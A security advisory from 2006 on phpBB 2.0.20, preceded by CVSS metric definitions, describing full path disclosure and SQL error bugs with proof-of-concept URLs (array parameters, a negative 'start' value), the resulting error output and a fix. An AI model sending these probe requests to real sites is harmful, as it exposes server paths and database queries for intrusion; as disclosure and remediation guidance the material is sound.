The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
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[phpBB 2.0.20 Full Path Disclosure and SQL Errors]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 1.5.2006
- -Public: 5.5.2006
from SecurityReason.Com
CVE:
- - CVE-2006-2219 Full Path Disclosure
- - CVE-2006-2220 Sql Errors
- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package. phpBB has a
user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP
server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal
free community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.
- --- 1. Full Path Disclosure ---
Many scripts, for example phpBB, have a basic bug. It exists in variables, which are being inserted into script, into specific functions. For example function htmlspecialchars()
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls", &str, &str_len, "e_style, &hint_charset, &hint_charset_len) == FAILURE) {
return;
}
...
As you can see there is a protection from formatting input variable. If the variable is other than string, we have error with Full Path Disclosure.
Example:
http://[HOST]/2020/phpBB2/memberlist.php?mode[]=cx
- ---Code ---
if ( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )
{
$mode = ( isset($HTTP_POST_VARS['mode']) ) ? htmlspecialchars($HTTP_POST_VARS['mode']) : htmlspecialchars($HTTP_GET_VARS['mode']);
}
else
{
$mode = 'joined';
}
- ---Code ---
- ---Result ---
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/2020/phpBB2/memberlist.php on line 40
Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/memberlist.php:40) in /www/2020/phpBB2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/memberlist.php:40) in /www/2020/phpBB2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/memberlist.php:40) in /www/2020/phpBB2/includes/page_header.php on line 486
- ---Result ---
http://[HOST]/2020/phpBB2/viewtopic.php?t=2&highlight[]=cx
- ---Result ---
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/2020/phpBB2/viewtopic.php on line 487
Warning: urlencode() expects parameter 1 to be string, array given in /www/2020/phpBB2/viewtopic.php on line 498
Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/viewtopic.php:487) in /www/2020/phpBB2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/viewtopic.php:487) in /www/2020/phpBB2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/2020/phpBB2/viewtopic.php:487) in /www/2020/phpBB2/includes/page_header.php on line 486
- ---Result ---
Problem appears if display_errors==1, but it exists on many websites. (even at php.net).
- --- 2. Sql Errors ---
Problem appears because we can add everything (INT) to the end of SQL query (LIMIT). The query will fail if the value is below 0 or above -2^32.
Example:
http://[HOST]/2020/phpBB2/memberlist.php?start=-1
- ---Code ---
$start = ( isset($HTTP_GET_VARS['start']) ) ? intval($HTTP_GET_VARS['start']) : 0;
- ---Code ---
- ---Result ---
Could not query users
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 50' at line 4
SELECT username, user_id, user_viewemail, user_posts, user_regdate, user_from, user_website, user_email, user_icq, user_aim, user_yim, user_msnm, user_avatar, user_avatar_type, user_allowavatar FROM phpbb_users WHERE user_id <> -1 ORDER BY user_regdate ASC LIMIT -1, 50
Line : 151
File : memberlist.php
- ---Result ---
- --- 3. How to fix ---
Turn off display_errors or use function like is_string().
- --- 4. Greets ---
sp3x
Infospec, p_e_a, krasza, revival, l5x
- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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